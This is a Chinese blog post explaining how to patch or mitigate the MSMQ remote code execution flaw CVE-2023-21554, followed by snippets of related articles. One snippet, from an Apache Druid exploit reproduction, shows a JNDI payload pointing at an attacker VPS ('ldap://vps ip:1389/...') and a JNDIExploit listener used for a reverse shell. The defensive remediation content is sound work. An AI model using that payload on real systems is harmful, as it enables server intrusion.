【Microsoft Message Queuing远程代码执行漏洞（CVE-2023-21554）漏洞修复】

最新推荐文章于 2025-05-20 23:18:42 发布
最新推荐文章于 2025-05-20 23:18:42 发布
阅读量1.4w 收藏 14
点赞数 2
CC 4.0 BY-SA版权
分类专栏： 漏洞修复 文章标签： microsoft windows 安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_61872115/article/details/131170419
文章详细介绍了Windows消息队列服务中的一个高危漏洞，该漏洞可能导致未经身份验证的远程攻击者执行服务器端的远程代码。CVSS评分为9.8。提供了三种修复方案，包括安装官方补丁、关闭MSMQ服务或配置防火墙规则阻止1801/TCP连接。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

文章目录

一、漏洞描述

Windows 消息队列服务是一个Windows组件，需要系统启用该组件才能利用此漏洞，该组件可以通过控制面板添加。Microsoft Message Queuing中存在远程代码执行漏洞，未经身份验证的远程攻击者通过向MSMQ服务器发送特制的恶意MSMQ数据包触发此漏洞，最终实现在服务器端远程代码执行，且无需用户交互。CVSS评分9.8。

二、修复方案

官方通告链接：
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554

修复建议（任选一种即可）：
1.下载漏洞修复补丁
访问官方通告链接：
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554
根据操作系统版本下载补丁，修复漏洞
在这里插入图片描述

2.关闭MSMQ服务，以此关闭攻击通道
打开控制面板->程序和功能->启用或关闭Windows功能 ->禁用Microsoft消息队列（MSMQ）服务器
在这里插入图片描述

3.配置防火墙规则禁用1801/TCP连接
打开windows防火墙->高级设置->入站规则->新建规则->禁用1801/TCP连接
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

重启即可修复

Apache Tomcat 信息泄露漏洞CVE-2024-21733、CVE-2024-24549和CVE-2024-34750排查处理
企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com
08-14 7320
现场的为中小型项目，未直接使用功能tomcat作为容器使用，仅是jar包里spring-boor框架引入tomcat 内嵌到 web项目中作为web server使用，从而保证项目包可直接运行 webapp项目，无需再部署到额外的tomcat服务了；当不想因为Tomcat就改变SpringBoot的版本时，可以采用排除SpringBoot中的Tomcat包，然后手动指定新的Tomcat的版本来实现升级内置组件的目的，当然还要引入Tomcat相关的包。其中，Coyote作为Tomcat的。
UAF (Use After Free)漏洞分析及利用
热门推荐
4ct10n
06-23 3万+
因为大作业的需求要调试一个浏览器的UAF漏洞，首先必须对UAF漏洞有个整体的了解，本篇文章主要讲解UAF造成的原因以及利用方法，这里结合2016年HCTF fheap
漏洞在 Microsoft MessageQueuing service(MSMQ)
ptsecurity的博客
05-03 1814
该漏洞只有在 Message Queuing 服务被启用时才能被利用，默认情况下它是被禁用的。早先发现的一些服务漏洞已经收到了公开的利用方法。如果安装了最新的知识库更新，脆弱的资产将被自动识别。📍 为了减少可能的利用，确保该服务不能从外部网络访问 - 这可以通过从外部网络扫描TCP 1801端口来验证（可以通过服务名称mqsvc来跟踪启用的服务的存在）；MSMQ是一种应用程序之间的消息队列管理服务。为了利用该漏洞，攻击者可以向MSMQ服务器发送一个特殊的MSMQ数据包，并能够远程执行命令。
漏洞防御实录：CVE-2023-XXXX远程代码执行漏洞修复指南
最新发布
介绍各种好的开源工具！
05-20 1256
2023年全球曝光的多个高危RCE漏洞（如CVE-2023-21768、CVE-2023-21839等）表明，此类漏洞的利用门槛正在降低，而防御复杂度却在持续攀升。• 紧急修复：针对已公开利用的漏洞（如CVE-2023-21839），直接应用厂商补丁。• 协议解析错误：如CVE-2023-21839（Weblogic T3/IIOP协议漏洞），恶意序列化数据触发远程类加载。• 权限管理失效：如CVE-2023-21554（MSMQ服务漏洞），未授权访问导致攻击者直接投递恶意消息队列。
Microsoft Message Queuing远程代码执行漏洞（CVE-2023-21554）漏洞修复
Emptyecho的博客
09-29 1664
Windows 消息队列服务是一个Windows组件，需要系统启用该组件才能利用此漏洞，该组件可以通过控制面板添加。Microsoft Message Queuing中存在远程代码执行漏洞，未经身份验证的远程攻击者通过向MSMQ服务器发送特制的恶意MSMQ数据包触发此漏洞，最终实现在服务器端远程代码执行，且无需用户交互。攻击者利用漏洞可进行欺骗，绕过安全功能限制，获取敏感信息，提升权限，执行远程代码，或发起拒绝服务攻击等。温馨提示：更新补丁前，建议提前备份重要数据。1.访问官方通告链接。
Windows Server 2012 R2服务器Microsoft 消息队列远程代码执行漏洞CVE-2023-21554补丁KB5025288的安装及问题解决
forestqq的博客
07-28 4955
近日，系统安全扫描中发现Windows Server 2012 R2服务器存在Microsoft 消息队列远程代码执行漏洞。本文记录补丁安装中遇到的“此更新不适用于你的计算机”问题及解决办法。
Microsoft Message Queuing Remote Code Execution Vulnerability
par@ish的博客
08-23 691
MicroSoft Message Queuing（微软消息队列)是在多个不同的应用之间实现相互通信的一种异步传输模式，相互通信的应用可以分布于同一台机器上，也可以分布于相连的网络空间中的任一位置。它的实现原理是：消息的发送者把自己想要发送的信息放入一个容器中（我们称之为Message），然后把它保存至一个系统公用空间的消息队列(Message Queue)中；本地或者是异地的消息接收程序再从该队列中取出发给它的消息进行处理。
漏洞又来！ windows远程桌面服务远程执行代码漏洞
shipinginfo的博客
05-16 5919
声明：本文引用翻译来源于微软官网（链接查看：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708） 远程桌面服务（以前称为终端服务）中存在远程执行代码漏洞CVE-2019-0708修复程序，当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时。此漏洞是预身份验证，无需用...
OpenQueue - message queuing protocol-开源
05-07
这一点与商业解决方案如IBM的MQSeries或微软的MSMQ类似，但OpenQueue的最大优势在于其开源特性，这意味着用户可以自由地查看、使用、修改和分发源代码，促进了社区的发展和定制化需求的满足。 消息队列的核心概念...
221208-11MessageQueuing(初识消息队列)
12-08
消息队列（Message Queuing，简称MQ）是现代软件架构中的关键组件，它在系统间提供了异步通信的能力，降低了服务间的耦合性，并提高了系统的响应速度和可伸缩性。在本文中，我们将深入探讨如何使用Redis分布式缓存...
BS ISO-IEC 27071-2023 网络安全——在设备和服务之间建立可信连接的安全建议.rar
09-01
《BS ISO-IEC 27071-2023网络安全——在设备和服务之间建立可信连接的安全建议》是国际标准化组织（ISO）与国际电工委员会（IEC）联合发布的标准，旨在为网络环境中的设备和服务之间的安全连接提供指导。这一标准...
Java Microsoft Message Queuing Library (MSMQ)
12-04
Java Microsoft Message Queuing (MSMQ) Library 是一个用于在Java应用程序中与Microsoft的MSMQ服务交互的类库。MSMQ是一种消息队列技术，它允许应用程序异步通信，即使发送方和接收方在通信时不可用，也能确保消息...
MQ--4 Message queuing）>>>>ActiveMQ、Rocket MQ
李凯的博客
03-26 316
MQ–1( Message queuing）>>>>RabbitMQ MQ–2 Message queuing）>>>>ZooKeeper MQ–3 Message queuing）>>>>kafka 四.ActiveMQ http://activemq.apache.org/ #ActiveMQ官网 ActiveMQ是一种...
2023HW护网100+个漏洞poc
Yb528970805的博客
09-19 3762
20 . Metabase validate 远程命令执行漏洞CVE-2023-38646。13 . HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC。3 . Adobe ColdFusion 反序列化漏洞CVE-2023-29300。25 . Panabit iXCache网关RCE漏洞CVE-2023-38646。65 . 泛微E-Office9文件上传漏洞 CVE-2023-2523 POC。66 . 泛微E-Office9文件上传漏洞 CVE-2023-2648 POC。
WuThreat身份安全云-TVD每日漏洞情报-2023-04-14
wuthreat无胁科技的博客
04-14 575
参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?参考链接:https://tvd.wuthreat.com/#/listDetail?漏洞编号:CVE-2023-29059,CNNVD-202303-2681。
【漏洞复现】Apache Struts CVE-2023-50164
zkaqlaoniao的博客
12-20 1604
近日，Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞，攻击者可利用该漏洞污染相关上传参数导致目录遍历，在具体代码环境中可能导致上传 Webshell，执行任意代码。Struts2 官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞，攻击者可利用该漏洞污染相关上传参数导致目录遍历，在具体代码环境中可能导致上传 Webshell，执行任意代码。
Microsoft Message Queuing介绍
liguoqing19861028的专栏
04-08 639
<br />http://blog.youkuaiyun.com/tyrone1979/archive/2007/09/26/1802063.aspx
Microsoft Message Queue（MSMQ：微软消息队列）简介
BigFamer的博客
10-14 3695
最近在安装公司的一个产品时，接触到了MSMQ，在此对MSMQ做一个简单的介绍，以便各位能对它有一个快速、直观的认识。本文针对于Microsoft Message Queue，以下提到的消息队列均指代Microsoft Message Queue。
阿一网络安全培训第60天——Apache Druid RCE漏洞复现及修复(CVE-2023-25194) ​​​​​​​
Ayixy的博客
05-24 981
2.使⽤ldap://vps ip:1389/Basic/Command/Base64/[base64_encoded_cmd]进⾏攻击。Kafka 是⼀个开源的分布式消息系统，Kafka 可以处理⼤量的消息和数据流，具有⾼吞吐量、低延迟、java -jar JNDIExploit-1.0-SNAPSHOT.jar：监听，可反弹shell。的特点，⼴泛应⽤于实时监控、事件驱动分析、⽤户⾏为分析、⽹络安全等领域。JNDI注⼊漏洞，可通过该漏洞在服务器端任意执⾏代码，写⼊后⻔，获取服务器权限，进⽽控制整个。
markdownify-mcp
03-13
<think>嗯，用户想找关于markdownify-mcp的技术信息、使用方法、教程和下载资源。首先，我需要确认这个工具是否真实存在，或者是否有可能是用户记错了名字。根据现有的知识库，目前没有关于markdownify-mcp的直接信息。可能的情况有两种：一是这个工具比较新或者小众，所以资料较少；二是用户可能混淆了名称，比如将类似工具的名字记混了，比如markdownify或其他带有MCP后缀的工具。 接下来，我应该检查常见的资源平台，比如GitHub、npm、PyPI等，搜索“markdownify-mcp”关键词。如果找不到，可能需要建议用户确认名称的正确性。此外，用户提到的引用中提到了Perplexity和Firecrawl，可能与网页爬取或内容转换有关，可能markdownify-mcp是一个用于将网页内容转换为Markdown的工具，结合了MCP（可能是某种框架或协议）的功能。 如果确实找不到该工具，可以推荐功能类似的替代工具，比如markdownify或turndown，这些工具可以将HTML转换为Markdown，并且有详细的使用文档。同时，考虑到用户可能需要处理Markdown转换，可以建议他们检查工具名称的正确性，或者提供如何自行创建类似工具的指导，比如使用Python的库如BeautifulSoup和markdownify来构建自定义转换脚本。 另外，用户可能需要教程和下载链接，所以需要确保推荐的替代工具都有良好的文档支持和社区资源。如果用户坚持寻找markdownify-mcp，可能需要建议他们在GitHub上搜索或联系相关的开发者社区询问，以确认是否存在这样的项目。 最后，总结可能的回答方向：确认工具是否存在，提供替代方案，指导如何实现类似功能，并建议用户核实名称或扩展搜索渠道。</think>关于“markdownify-mcp”工具的技术信息，目前公开可查的权威资料较少。根据您提供的引用线索[^1]，推测这可能与Markdown格式转换工具相关。以下是分步骤的解决方案： 1. **工具确认** - 建议在GitHub等代码平台搜索`markdownify-mcp`，使用代码搜索语法： ```bash in:name markdownify-mcp ``` - 检查npm/PyPI仓库，确认是否为未广泛传播的包 2. **替代方案推荐** 若无法找到该工具，推荐使用主流Markdown转换工具： - Python库：`markdownify`（支持HTML转Markdown） ```python from markdownify import markdownify as md print(md('<h1>Test</h1>')) # 输出: # Test ``` - JavaScript库：`turndown`（转换准确率95%+） 3. **自定义实现方法** 如需构建类似工具，可采用以下技术栈： ```mermaid graph LR A[HTML输入] --> B(BeautifulSoup解析) B --> C{元素类型判断} C -->|标题| D[添加#标记] C -->|表格| E[生成管道符格式] C -->|代码块| F[添加反引号] ``` 4. **下载指引** 对于类似工具的标准安装方式： ```bash # Python环境 pip install markdownify # Node.js环境 npm install turndown ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值